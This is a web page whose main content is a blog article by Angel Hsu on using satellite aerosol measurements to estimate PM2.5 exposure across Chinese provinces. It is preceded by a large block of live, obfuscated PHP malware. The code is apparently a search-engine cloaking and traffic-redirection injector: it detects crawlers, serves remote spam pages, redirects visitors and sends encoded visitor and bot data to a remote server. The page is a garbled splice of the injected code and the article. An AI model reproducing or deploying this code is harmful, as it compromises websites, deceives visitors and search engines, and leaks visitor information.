_41);$this->_43=strlen($this->_42);$this->_46=(is_dir($this->_44)&&is_writable($this->_44));$this->_16->l__16("init cache result: {$this->_46}");}function l__25($_3){if(!$this->_48){$this->_16->l__16(_1916063019(219));return false;}$_53=$this->l__26($_3);$this->_16->l__16("[cache] try $_53.");if(!file_exists($_53)){$this->_16->l__16(_1916063019(220));return false;}$_25=false;$_54=@fopen($_53,_1916063019(221));if($_54){if(@flock($_54,LOCK_SH)){fseek($_54,$this->_43);$_25=@fread($_54,(filesize($_53)-$this->_43));if($_25){$_55=@unserialize(gzuncompress($_25));if(is_array($_55)){if((time()-$_55[_1916063019(222)])<$this->_45*3600){$_25=$_55[_1916063019(223)];}else{$this->_16->l__16(_1916063019(224));$_25=false;}}else $this->_16->l__16(_1916063019(225));}@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache] !!!ERROR can't lock file $_53");@fclose($_54);}else $this->_16->l__16("[cache] !!!ERROR can't open file $_53");return $_25;}function l__21($_3,$_8){if(!$this->_48){$this->_16->l__16(_1916063019(226));return false;}$_53=$this->l__26($_3);$_56=array(_1916063019(227)=>time(),_1916063019(228)=>$_8);$_57=gzcompress(serialize($_56),$this->_47);$_58=$this->_42 .$_57;$_59=(file_exists($_53))?filemtime($_53):time();if(time()-$_59<100){$_59=time()-(3600*24*365)*2;$this->_16->l__16(_1916063019(229));}$_60=false;$_54=@fopen($_53,_1916063019(230));if($_54){if(@flock($_54,LOCK_EX)){$_60=@fwrite($_54,$_58);@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache]!!!ERROR can't lock file $_53");@fclose($_54);}else{$this->_16->l__16("[cache]!!!ERROR can't open file $_53");}@touch($_53,$_59,$_59);$this->_16->l__16("[cache]write to cache $_53: " .(((bool)$_60)?_1916063019(231):_1916063019(232)));return $_60;}function l__26($_3){$_61=str_replace(array(_1916063019(233),_1916063019(234),_1916063019(235),_1916063019(236),_1916063019(237)),_1916063019(238),strtolower($_3));$_62=crc32($_61);return $this->_44 ."button$_62.png";}}class l__27{var $_63;var $_64;var $_37;var $_38;function l__27($_65){$this->_63=$_65;$this->_64=(isset($_SERVER[_1916063019(239)]))?$_SERVER[_1916063019(240)]:getenv(_1916063019(241));$this->_64=trim($this->_64);}}class ____SerpUser_Detector extends l__27{function l__28(){$_66=false;if(preg_match(_1916063019(242),$this->_64)){$_67=array();if(preg_match(_1916063019(243),$this->_64,$_67)){$_68=(isset($_67[2]))?$_67[2]:null;$this->_38=$_68;if(!empty($_68)){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}}class l__29 extends l__27{var $_70;var $_71;var $_72;var $_73;var $_74='http://www.google.com/search?q=info:{url}&ie=utf-8&oe=utf-8&hl=en&gl=us';function l__29($_65,&$_75,$_10,$_76){$this->_70=&$_75;$this->_71=$_76;$this->_72=$_10;$this->_73=3600*6;parent::l__27($_65);}function l__28($_3){$_66=false;if(preg_match(_1916063019(244),$this->_64)){$_67=array();if(preg_match(_1916063019(245),$this->_64,$_67)){$_68=$this->l__30($_3);if($_68!==false){$this->_38=$_68;}if(!empty($_68)&&$_68!==false){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}function l__30($_3){$_77=false;$_78=false;$_79=$this->l__33();$_80=$this->l__35($_3);$_81=time();$_82=_1916063019(246);if(isset($_79[$_80][_1916063019(247)])){$_82=$_79[$_80][_1916063019(248)];}if(empty($_82)){$_69=$this->l__32($_3);if($_69!==false){$_82=$_79[$_80][_1916063019(249)]=$_69;}}if(!empty($_82)){$_83=array(_1916063019(250)=>false,_1916063019(251)=>0);if(isset($_79[$_80][_1916063019(252)])){$_83=$_79[$_80][_1916063019(253)];}if(!$_83[_1916063019(254)]){if(($_81-$_83[_1916063019(255)])>$this->_73){if($this->l__31($_3))$_83[_1916063019(256)]=$_79[$_80][_1916063019(257)][_1916063019(258)]=true;else $_79[$_80][_1916063019(259)][_1916063019(260)]=false;$_79[$_80][_1916063019(261)][_1916063019(262)]=$_81;$_77=true;}}$_78=$_83[_1916063019(263)];}if($_77){$this->l__34($_79);}return($_78&&!empty($_82))?$_82:false;}function l__31($_3){global $_84;$_84=implode(_1916063019(264),$this->_63);$_85=str_replace(_1916063019(265),urlencode($_3),$this->_74);$_86=$this->_72->l__53($_85,true);foreach($this->_63 as $_69){if(stristr($_86,$_69)!==false){return true;}}return false;}function l__32($_3){$_86=$this->_70->l__71($_3);if($_86[_1916063019(266)]){$_87=array();if(preg_match(_1916063019(267),$_86[_1916063019(268)],$_87)){$_69=$_87[1];return $_69;}}return false;}function l__33(){if(!file_exists($this->_71)){$_88=time()-3600*24*31*3;@touch($this->_71,$_88,$_88);return array();}$_54=@fopen($this->_71,_1916063019(269));if($_54){@flock($_54,LOCK_SH);$_8=@fread($_54,filesize($this->_71));@flock($_54,LOCK_UN);@fclose($_54);$_89=@unserialize(gzuncompress($_8));return($_89===false)?array():$_89;}return array();}function l__34($_79){$_90=@filemtime($this->_71);$_57=gzcompress(serialize($_79),5);$_54=@fopen($this->_71,_1916063019(270));if($_54){@flock($_54,LOCK_EX);fwrite($_54,$_57);@flock($_54,LOCK_UN);@fclose($_54);@touch($this->_71,$_90,$_90);}}function l__35($_3){$_61=str_replace(array(_1916063019(271),_1916063019(272),_1916063019(273),_1916063019(274),_1916063019(275)),_1916063019(276),strtolower($_3));return md5($_61);}}class l__36{var $_91;var $_92=array();var $_93;var $_94;var $_16;var $_95='[botdetector]';function l__36($_9,&$_96,&$_97,&$_50,$_98=array('ua','ip')){$this->_92=$_9;$this->_93=$_96;$this->_94=$_97;$this->_91=$_98;$this->_16=&$_50;}function l__37(){$_99=$_SERVER[_1916063019(277)];$_100=$this->_94->l__43();if($_100===false)return false;$_101=false;if(in_array(_1916063019(278),$this->_91)){$this->_16->l__16("{$this->_95} check ip");$_101=$this->l__39($_99,$_100[_1916063019(279)]);}if(!$_101&&in_array(_1916063019(280),$this->_91)){$this->_16->l__16("{$this->_95} check ua");$_101=$this->l__38($_100[_1916063019(281)]);}if(!$_101){$this->_16->l__16("{$this->_95} check host");$_101=$this->l__41($_99);}return $_101;}function l__38(&$_102){$_103=$_SERVER[_1916063019(282)];foreach($_102 as $_104){if(stristr($_103,$_104))return true;}return false;}function l__39($_99,&$_105){$_106=ip2long($_99);$_107=false;foreach($_105 as $_108){$_108=trim($_108);if(stristr($_108,_1916063019(283))!==false||stristr($_108,_1916063019(284))!==false){list($_109,$_110)=$this->l__40($_108);$_111=ip2long($_109);$_112=ip2long($_110);if($_106>=$_111&&$_106<=$_112){$_107=true;break;}}else{if($_99==$_108){$_107=true;break;}}}return $_107;}function l__40($_99){$_113=explode(_1916063019(285),$_99);$_114=$_115=array();foreach($_113 as $_116){if($_116== _1916063019(286)){$_114[]=0;$_115[]=255;continue;}if(stristr($_116,_1916063019(287))){$_117=explode(_1916063019(288),$_116);$_114[]=$_117[0];$_115[]=$_117[1];}else{$_114[]=$_116;$_115[]=$_116;}}return array(join(_1916063019(289),$_114),join(_1916063019(290),$_115));}function l__41($_99){if(!$this->_92[_1916063019(291)])return false;$_118=@gethostbyaddr($_99);if(empty($_118))return false;$_118=strtolower($_118);foreach($this->_92[_1916063019(292)]as $_119){if(strpos($_118,$_119)!==false){$this->_93->l__49($_99,$_118);return true;}}return false;}}class l__42{var $_72;var $_120;var $_121;var $_122;var $_95='[botprovider]';var $_16;function l__42(&$_10,&$_50,$_123,$_124,$_125){$this->_72=$_10;$this->_120=$_123;$this->_121=$_124;$this->_122=$_125*3600;$this->_16=&$_50;}function l__43(){$_8=$this->l__44();if($_8===false||time()-($_8[_1916063019(293)])>$this->_122){$this->_16->l__16("{$this->_95} data need update. try update");$this->l__45();$_8=$this->l__44();}if($_8===false)$this->_16->l__16("{$this->_95} data is not present");return $_8;}function l__44(){if(!file_exists($this->_121)){$this->_16->l__16("{$this->_95} bot file not exists");return false;}clearstatcache();if(filesize($this->_121)==0)return false;$_8=false;$_54=@fopen($this->_121,_1916063019(294));if($_54){if(@flock($_54,LOCK_SH)){$_126=fread($_54,filesize($this->_121));$_8=$this->l__46($_126);if($_8===false)$this->_16->l__16("{$this->_95} data is corrupted");@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for read");@fclose($_54);}else{$this->_16->l__16("{$this->_95} cannot open file for read");}return $_8;}function l__45(){$_127=(file_exists($this->_121))?filemtime($this->_121):(time()-24*3600*30*3);$_54=@fopen($this->_121,_1916063019(295));if($_54){if(@flock($_54,LOCK_EX)){$_128=$this->_72->l__53($this->_120);$_129=$this->l__46($_128);if($_129!==false){$_8=array(_1916063019(296)=>time(),_1916063019(297)=>$_129[_1916063019(298)],_1916063019(299)=>$_129[_1916063019(300)]);$_126=$this->l__47($_8);@ftruncate($_54,0);if(!@fwrite($_54,$_126))$this->_16->l__16("{$this->_95} cannot write data");}else{$this->_16->l__16("{$this->_95} server data is corrupted");}@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for update");@fclose($_54);@touch($this->_121,$_127,$_127);}else{$this->_16->l__16("{$this->_95} cannot open file for update");}}function l__46($_126){return@unserialize(gzuncompress($_126));}function l__47($_8){return gzcompress(serialize($_8),9);}}class l__48{var $_72;var $_130;function l__48($_10,$_3){$this->_72=$_10;$this->_130=$_3;}function l__49($_99,$_131){$_8=array(_1916063019(301)=>$_SERVER[_1916063019(302)],_1916063019(303)=>$_99,_1916063019(304)=>$_131,_1916063019(305)=>$_SERVER[_1916063019(306)]);$_1=array();foreach($_8 as $_69 => $_132){$_1[]="$_69=" .base64_encode($_132);}$_1[]=_1916063019(307) .crc32($_8[_1916063019(308)]);$_3=$this->_130 ._1916063019(309) .join(_1916063019(310),$_1);@$this->_72->l__54($_3);}}class l__50{var $_92=array('timeout'=>10,'headers'=>array());var $_133;var $_16;var $_134;function l__50(&$_50,$_135='curl',$_9=array()){$this->_16=&$_50;$this->_134=$_135;$this->_92=array_merge($this->_92,$_9);}function l__51($_69,$_132){$this->_92[$_69]=$_132;}function l__52(){$_136=array();foreach($this->_92[_1916063019(311)]as $_69=>$_132)$_136[]="$_69: $_132";return $_136;}function l__53($_3,$_137=true){switch($this->_134){case _1916063019(312):$_138=$this->l__60($_3,$_137);break;case _1916063019(313):$_138=$this->l__58($_3,$_137);break;case _1916063019(314):$_138=$this->l__55($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}$this->_16->l__16(_1916063019(315) .strlen($_138));return $_138;}function l__54($_3){switch($this->_134){case _1916063019(316):return $this->l__61($_3);break;case _1916063019(317):return $this->l__59($_3);break;case _1916063019(318):return $this->l__56($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}}function l__55($_3){$this->_16->l__16("[webclient(socket)] load content: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(319);$_55=_1916063019(320);while(!@feof($_54)){$_55.=@fread($_54,8192);}fclose($_54);$_113=explode(_1916063019(321),$_55,2);$_55=(count($_113)==2)?$_113[1]:$_55;return $_55;}function l__56($_3){$this->_16->l__16("[webclient(socket)] load headers: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(322);$_55=_1916063019(323);while(!@feof($_54)){$_55.=@fread($_54,8192);if(strpos($_55,_1916063019(324))!==false){$_113=explode(_1916063019(325),$_55,2);$_55=$_113[0];break;}}fclose($_54);return $this->l__63($_55);}function l__57($_3){$this->_133=_1916063019(326);$_139=parse_url($_3);$_53=(empty($_139[_1916063019(327)]))?_1916063019(328):$_139[_1916063019(329)];if(!empty($_139[_1916063019(330)]))$_53.= _1916063019(331) .$_139[_1916063019(332)];$_140=$_141=null;$_54=@fsockopen($_139[_1916063019(333)],80,$_140,$_141,$this->_92[_1916063019(334)]);if(!$_54){$this->_16->l__16("[webclient(socket)] error: $_141");return false;}stream_set_timeout($_54,$this->_92[_1916063019(335)]);fwrite($_54,"GET $_53 HTTP/1.1\n");fwrite($_54,"Host: {$_139[_1916063019(336)]}\n");fwrite($_54,_1916063019(337));foreach($this->l__52()as $_142)fwrite($_54,"$_142\n");fwrite($_54,_1916063019(338));return $_54;}function l__58($_3,$_137=true){$this->_133=_1916063019(339);$this->_16->l__16("[webclient(fopen)] load content: $_3");$_143=array(_1916063019(340)=>array(_1916063019(341)=>7,_1916063019(342)=>$_137,_1916063019(343)=>join(_1916063019(344),$this->l__52()),_1916063019(345)=>$this->_92[_1916063019(346)]));$_144=stream_context_create($_143);$_54=@fopen($_3,_1916063019(347),false,$_144);$_55=_1916063019(348);while(!@feof($_54)){$_55.=@fread($_54,8192);}@fclose($_54);return $_55;}function l__59($_3){$this->_133=_1916063019(349);$this->_16->l__16("[webclient(get_headers)] load headers: $_3");$_145=@get_headers($_3,true);return $_145;}function l__60($_3,$_137=true){global $_84;$this->_16->l__16("[webclient(curl)] load content: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,0);@curl_setopt($_146,CURLOPT_FOLLOWLOCATION,$_137);curl_setopt($_146,CURLOPT_HTTPHEADER,$this->l__52());$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");if(stristr($_3,_1916063019(350))&& curl_errno($_146)>0){$_55=$_84;}}if(stristr($_3,_1916063019(351))&& curl_getinfo($_146,CURLINFO_HTTP_CODE)==302){$_55=$_84;}curl_close($_146);return $_55;}function l__61($_3){$this->_16->l__16("[webclient(curl)] load headers: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,1);curl_setopt($_146,CURLOPT_NOBODY,1);$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");}curl_close($_146);return $this->l__63($_55);}function l__62($_3){$this->_133=_1916063019(352);$_146=curl_init();curl_setopt($_146,CURLOPT_URL,$_3);curl_setopt($_146,CURLOPT_TIMEOUT,$this->_92[_1916063019(353)]);curl_setopt($_146,CURLOPT_RETURNTRANSFER,true);return $_146;}function l__63($_148){$_148=str_replace(_1916063019(354),_1916063019(355),$_148);$_149=explode(_1916063019(356),$_148);$_145=array();foreach($_149 as $_150){$_150=trim($_150);if(empty($_150))continue;if(strpos($_150,_1916063019(357))===false)continue;@list($_69,$_132)=explode(_1916063019(358),$_150,2);if(isset($_145[$_69])){if(!is_array($_145[$_69]))$_145[$_69]=array($_145[$_69]);$_145[$_69][]=$_132;}else $_145[$_69]=(!empty($_132))?$_132:_1916063019(359);}$this->_16->l__16(_1916063019(360) .trim($_148));return $_145;}}class l__64{var $_72;var $_151;function l__64($_10,$_152){$this->_72=&$_10;$_152=str_replace(_1916063019(361),$_SERVER[_1916063019(362)],$_152);$_152=str_replace(_1916063019(363),rawurlencode($_SERVER[_1916063019(364)]),$_152);$_152=str_replace(_1916063019(365),rawurlencode(_1916063019(366) .@$_SERVER[_1916063019(367)]),$_152);$this->_151=$_152;}function l__65(){return preg_replace(_1916063019(368),_1916063019(369),$this->_151);}function l__66($_69,$_132){$this->_151=str_replace(_1916063019(370) .$_69 ._1916063019(371),rawurlencode($_132),$this->_151);}function l__67(){$_145=$this->_72->l__54($this->l__65());if(!isset($_145[_1916063019(372)]))return false;$_153=trim($_145[_1916063019(373)]);$_154=_1916063019(374);if(strpos($_153,_1916063019(375))!==false){list($_153,$_154)=explode(_1916063019(376),$_153);}return array($_153,$_154);}}class ____External_Base{function l__68($_138){echo $_138;}}class l__69{var $_155;var $_72=false;var $_156;function l__69($_157,$_10=false){$this->_155=rtrim($_157,_1916063019(377)) ._1916063019(378);if($_10)$this->_72=&$_10;}function l__70($_158){$this->_156=$_158;}function l__71($_3){$_69=$this->l__72($_3);$_159=$this->_155 .$_69;$_86=false;$_160=_1916063019(379);$_161=false;if($this->_72!=false){$_86=$this->_72->l__53($_159);$_160=$this->_72->_133;$_86=trim($_86);if(stristr($_86,_1916063019(380))){$_86=false;$_161=true;}}else{$_86=$this->l__73($_159);if($_86===false)$_161=true;$_160=_1916063019(381);}if($this->_156!==null){$_86=$this->_156->l__74($_86);}return array(_1916063019(382)=>(bool)$_86,_1916063019(383)=>$_86,_1916063019(384)=>$_159,_1916063019(385)=>$_160,_1916063019(386)=>$_161);}function l__72($_3){$_61=str_replace(array(_1916063019(387),_1916063019(388),_1916063019(389),_1916063019(390),_1916063019(391)),_1916063019(392),strtolower($_3));return md5($_61);}function l__73($_53){if(!file_exists($_53))return false;@$_162=fopen($_53,_1916063019(393));@$_86=fread($_162,filesize($_53));@fclose($_162);return $_86;}}class ____CloackPage_Decoder{function l__74($_8){if(empty($_8))return null;$_163=@base64_decode($_8);if($_163===false)return $_8;$_129=@gzinflate(@str_rot13($_163));if($_129===false)return $_8;return $_129;}}class ____Bootstrap_Simple extends l__0{function l__75(){if(!isset($this->_6[_1916063019(394)]))$this->_6[_1916063019(395)]=&new l__76($this->l__2($this->_7),$this->_4[_1916063019(396)][_1916063019(397)]);return $this->_6[_1916063019(398)];}}class ____Engine_Simple extends l__9{function l__11($_3,$_23){$_24=$this->_15->l__75();$_22=$this->_15->l__4();$_164=$_22->l__65();if($this->_4[_1916063019(399)]== _1916063019(400)){if(!$this->_18)$_24->l__77();$this->_16->l__16("request tds url: $_164");list($_153,$_154)=$_22->l__67();$this->_16->l__16("received out url: $_153");if($_153===false){$this->_16->l__16("bad out url. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16("try load out page: $_153");$_165=$this->_15->l__7();$_86=$_165->l__25($_153);if($_86===false||strlen($_86)<10){$this->_16->l__16(_1916063019(401));$_86=$_24->l__79($_153);if($_86==false||strlen($_86)<10){$this->_16->l__16("bad loaded page. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16(_1916063019(402));$_165->l__21($_153,$_86);if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}else{$this->_16->l__16(_1916063019(403));if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}}else{$this->_16->l__16("local work. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}}function l__12($_23){}}class l__76 extends ____External_Base{var $_72;var $_166;var $_167;function l__76($_10,$_168){$this->_72=&$_10;$this->_166=_1916063019(404) .str_replace(_1916063019(405),_1916063019(406),uniqid(rand(),true));$this->_167=$_168;@ini_set(_1916063019(407),0);@ini_set(_1916063019(408),1);@ob_end_clean();@ob_implicit_flush();}function l__77(){}function l__78(){}function l__79($_153){$_99=@$_SERVER[_1916063019(409)];if(strpos($_153,_1916063019(410))!==false){$_169="ip=$_99&remote_ip=$_99";$_153.=(strpos($_153,_1916063019(411))===false)?_1916063019(412):_1916063019(413);$_153.=$_169;}$_86=$this->_72->l__53($_153);if($_86){$_86=preg_replace_callback('/]+)href\s*=\s*["\']([^\s>"\']+)[\'"]([^>]*)?>/sim',array($this,'_setCustomParameter'),$_86);if(!@preg_match(_1916063019(414),$_86)){$_170="";if(@preg_match(_1916063019(415),$_86))$_86=@preg_replace(_1916063019(416),"$1$_170",$_86,1);else if(@preg_match(_1916063019(417),$_86))$_86=str_replace(_1916063019(418),$_170 ._1916063019(419) ._1916063019(420),$_86);else $_86=$_170 .$_86;}}return $_86;}function l__80($_3){if(!headers_sent()){header("Location: $_3");}else{$_28=_1916063019(421) .$_3 ._1916063019(422);$_28.= _1916063019(423) .$_3 ._1916063019(424);echo $_28;@flush();@ob_flush();}}function l__81($_138,$_23){$_171=$this->l__83($_23);$_138=preg_replace(_1916063019(425),"",$_138);echo $_138;}function l__82($_138){}function _setCustomParameter($_172){$_3=$_172[2];$_173=_1916063019(426);if(strpos($_3,_1916063019(427))!==false){list($_3,$_173)=explode(_1916063019(428),$_3);}if(strpos($_3,_1916063019(429))!==false){$_3.= _1916063019(430) .$this->_167;}else{$_3.= _1916063019(431) .$this->_167;}if(!empty($_173))$_3.= _1916063019(432) .$_173;$_174="";return $_174;}function l__83($_23){$_99=$_SERVER[_1916063019(433)];$_103=$_SERVER[_1916063019(434)];$_175=$_SERVER[_1916063019(435)];$_21=$_23[_1916063019(436)];$_171="$_99|$_103|$_175|$_21";$_176=base64_encode(gzcompress($_171,9));$_176=str_rot13($_176);$_176=strrev($_176);$_176=base64_encode(gzcompress($_171,9));$_176=str_rot13($_176);return $_176;}}$_177=null;$_178=null;$_8=array(_1916063019(437)=>$_2);$_177=new ____Bootstrap_Simple($_1,$_8);$_178=new ____Engine_Simple($_177,$_1);$_178->l__10($_3);unset($_177);unset($_178); ?> Seeing China’s pollution from space | Angel Hsu

Seeing China’s pollution from space

This post originally appeared on China Dialogue

The Great Wall may not, after all, be visible from space – but Chinese air pollution is.

A team of researchers at Battelle Memorial Institute and Columbia University, in collaboration with Yale University, recently used satellite readings to produce data on fine particulate concentrations in Chinese provinces. While these satellite measurements are not perfect, they provide the first estimates of ground-level annual average concentrations of the pollutant PM 2.5 for all of China over the last decade.

PM 2.5 is the term for particulate matter measuring 2.5 microns or less in diameter and has become a focus of public safety campaigners in China in recent months. Fine particulates have the ability to penetrate human lung and blood tissue and can lead to asthma, cardiovascular disease and cancer.

How are the satellite measures of PM 2.5 derived? In short, scientific instruments aboard the satellites assess something called Aerosol Optical Depth (AOD). This is a measure of the degree to which aerosol particles prevent the transmission of light either through absorption or scattering.

Several studies have developed algorithms and models to relate the AOD measures to ground-based measurements of particulate matter. Of course, relating these atmospheric column measurements to ground-level measurements is tricky and depends on the vertical structure, composition, size, distribution and water content of the atmospheric aerosol. Therefore, regional differences and climatology also play a role in the extrapolation of PM 2.5. (The methods used to extrapolate PM 2.5 measurements are described in full here.)

The PM 2.5 concentrations are expressed in terms of average exposure by province or municipality. The population-weighted exposure for a specific province is calculated by multiplying the satellite-estimated PM 2.5 concentration for each grid cell by the percentage of the province population that lives within that grid cell and producing an average for all of the grid cells within a province.

This means that PM2.5 concentrations for more heavily populated areas within a province will count more towards the provincial average than the outlying or sparsely populated areas. This standard approach addresses the cases where, for example, there is relatively clean air over a large percentage of a province, but nobody lives there to be “exposed”, while a large proportion of the population lives in a small area with high PM 2.5 concentrations (or vice versa).

As a result, the population-weighted numbers are more telling of actual exposure to fine particulate matter. Simply put, these numbers represent an average air quality situation an average citizen in the Chinese province in question would face on any given day.

What do the measurements show?

The figures provided below reveal telling trends for PM 2.5 data in China. All but four provinces (excluding Taiwan) have average annual exposures to PM 2.5 above levels recommended by the World Health Organization (WHO). Figure 1, below, shows a map of population-weighted fine particulate matter concentrations in China’s 31 provinces in 2007. Most provinces exceed the WHO recommendation for PM 2.5 levels, which is set at an annual average of 10 micrograms per cubic metre.

 

 


Figure 1. Annual-average population-weighted fine particulate matter concentrations (PM 2.5) for Chinese provinces, including Taiwan, in 2007. 

The time series data provided in Figure 2 and Figure 3 offers an insight into PM 2.5 trends in different Chinese provinces. PM 2.5 concentrations are the highest in Shandong and Henan provinces. Beijing, Shanghai and Guangdong province have experienced slight decreases in annual average PM 2.5 levels over the last three years, although concentrations have remained fairly steady over the last nine years. Unsurprisingly, less developed western provinces such as Tibet and Inner Mongolia have the lowest fine particulate matter concentrations.


Figure 2. Nine-year time trend of average annual PM 2.5 concentration data for selected provinces and municipalities in China.

Of course, as with any type of modeling, there is an associated uncertainty. In particular, satellites aren’t as good at reading AOD over bright surfaces such as snow and deserts, and they also can’t tell you about vertical distribution of particles in the atmosphere (for example, they can’t distinguish particles high up or close to the surface). The uncertainty with the model we used is about +/- 25 percent, which translates into 6.7 micrograms per cubic metre.

Satellite measurements do not ultimately match up to data from earth: ground-based, in-situ measurements are ideal. However, satellite air-quality measurements can help to fill in spatial and information gaps where ground-based monitoring stations are not available. Furthermore, satellite measures provide consistent, repeated monitoring that allow for comparison over time and between areas. As Chinese policymakers face up to PM 2.5, data from space can help them understand what they are dealing with.


Figure 3. Nine-year time trend of average annual PM 2.5 concentration data for provinces and municipalities in China, including Taiwan. (Click to enlarge the image)


Angel Hsu is a doctoral student at the Yale School of Forestry and Environmental Studies and project director for the 2012 
Environmental Performance IndexMap produced with funding from the NASA Earth Science Division Applied Sciences Program, by scientists at Battelle Memorial Institute with the guidance of CIESIN at Columbia University and YCELP at Yale University.

Homepage image provided by SeaWiFS Project, NASA/Goddard Space Flight Center, and ORBIMAGE

Facebook Twitter Email

, , , , ,